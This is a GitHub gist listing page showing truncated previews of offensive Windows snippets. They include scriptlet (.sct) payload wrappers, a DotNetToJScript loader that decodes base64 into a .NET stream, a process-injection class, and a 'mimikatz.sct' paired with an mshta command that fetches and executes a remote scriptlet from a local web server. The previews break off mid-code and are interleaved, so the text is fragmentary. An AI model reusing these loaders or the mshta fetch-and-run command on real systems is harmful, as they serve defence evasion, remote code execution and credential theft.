Skip to content

Instantly share code, notes, and snippets.

<?XML version="1.0"?>
<scriptlet>
<public>
</public>
<script language="vbscript">
<![CDATA[
MsgBox("OK")
]]>
(function(){
function setversion() {
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';
}
function debug(s) {}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
@manilz
manilz / JScriptToDotnet.js
Created March 16, 2023 23:54 — forked from leoloobeek/JScriptToDotnet.js
Sample Extract Payload DotNetToJScript
//Base64 Raw Decoder
function Base64Decode(str) {
if (!(/^[a-z0-9+/]+={0,2}$/i.test(str)) || str.length%4 != 0) throw Error('Not base64 string');
var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var o1, o2, o3, h1, h2, h3, h4, bits, d=[];
for (var c=0; c<str.length; c+=4) { // unpack four hexets into three octets
@manilz
manilz / Inject.cs
Created March 16, 2023 20:09 — forked from infosecn1nja/Inject.cs
DotNetToJScript Build Walkthrough
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
public class TestClass
{
public TestClass()
{}
<?XML version="1.0"?>
<scriptlet>
<registration
description="xkawu"
progid="xkauw"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FFFDACDC}"
>
<script language="JScript">
@manilz
manilz / mimikatz.sct
Created March 16, 2023 06:24 — forked from vector-sec/mimikatz.sct
Mimikatz inside mshta.exe - "mshta.exe javascript:a=GetObject("script:http://127.0.0.1:8000/mshta.sct").Exec(); log coffee exit"
<?XML version="1.0"?>
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
>
<?XML version="1.0"?>
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
@manilz
manilz / hde64.h
Created March 1, 2023 01:52
Hacker Dissasembler Engine 64
/*
* Hacker Disassembler Engine 64
* Copyright (c) 2008-2009, Vyacheslav Patkov.
* All rights reserved.
*
* hde64.h: C/C++ header file
*
*/
#ifndef _HDE64_H_
function Lookup-Clsid
{
Param([string]$clsid)
$CLSID_KEY = 'HKLM:\SOFTWARE\Classes\CLSID'
If ( Test-Path $CLSID_KEY\$clsid) {
$name = (Get-ItemProperty -Path $CLSID_KEY\$clsid).'(default)'
$dll = (Get-ItemProperty -Path $CLSID_KEY\$clsid\InProcServer32).'(default)'
}
$name, $dll
1+1